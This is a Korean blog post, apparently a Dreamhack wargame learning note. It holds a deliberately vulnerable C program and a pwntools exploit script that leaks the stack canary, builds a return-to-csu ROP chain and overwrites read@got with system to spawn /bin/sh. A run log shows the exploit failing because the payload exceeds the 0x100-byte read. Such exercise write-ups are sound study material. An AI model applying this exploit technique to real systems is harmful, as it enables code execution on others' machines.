[Error] 페이로드 잘림

#코딩노예#·2022년 7월 15일
0

기타

목록 보기
3/16
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

read로 0x100 바이트 크기의 입력을 받고 있어서 페이로드 길이도 최대 0x100 바이트 여야 합니다.


from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))


#p = remote("host2.dreamhack.games", 9986)
p = process("./rop")
e = ELF("./rop")

#context.log_level = 'debug'


# [1] 정보 수집
read_got = e.got["read"]
puts_got = e.got["puts"]

read_offset = 0x110140
system_offset = 0x04f550

csu_init1 = 0x4007ea
csu_init2 = 0x4007d0
bss = e.bss()
dummy = b'A'*8



# [2] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)



# [3] Exploit
payload = b'A'*56 + p64(canary) + b'B'*8


# puts(read@got) => read 함수 실제 주소 leak
payload += p64(csu_init1)
payload += p64(0)
payload += p64(1)
payload += p64(puts_got)
payload += p64(read_got)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init2)


# read(0, bss, 8) => BSS 영역에 "/bin/sh" 쓰기
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(8)
payload += p64(csu_init2)


# read(0, read@got, 8) => read@got를 system으로 got overwrite
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_got)
payload += p64(8)
payload += p64(csu_init2)


# read("/bin/sh") => system("/bin/sh")가 호출 됨
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init2)


# system 주소 구하기
p.sendafter("Buf: ", payload)   # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset        # libc base = read 주소 - read symbols
system = lb + system_offset    # system = libc base + system symbolsi

slog("read", read)
slog("libc_base", lb)
slog("system", system)
slog("payload length", len(payload))

sleep(0.5)

pause()
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()

하지만 Return to Csu 기법으로 익스플로잇 코드를 짜면 페이로드가 길어질 수 있다는 거를 몰라서


0x148 길이의 페이로드를 입력했고

 kali@kali  ~/wargame/dreamhack/rop  python3 rtc.py
[+] Starting local process './rop': pid 9970
[*] '/home/kali/wargame/dreamhack/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0xe74961496f8c0800
[+] read: 0x7fcd1cfa7550
[+] libc_base: 0x7fcd1ce97410
[+] system: 0x7fcd1cee6960
[+] payload length: 0x148
[*] Paused (press any to continue)
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 9970)
Traceback (most recent call last):
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 700, in send_raw
    self.proc.stdin.flush()
BrokenPipeError: [Errno 32] Broken pipe

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/wargame/dreamhack/rop/rtc.py", line 101, in <module>
    p.send(b"/bin/sh\x00")
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 777, in send
    self.send_raw(data)
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 702, in send_raw
    raise EOFError
EOFError
Traceback (most recent call last):
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe

그 결과 SIGSEGV, BrokenPipe Error가 발생하여 공격에 실패했습니다.

앞으로는 페이로드 짤 때 길이도 생각을 해야겠습니다.

0개의 댓글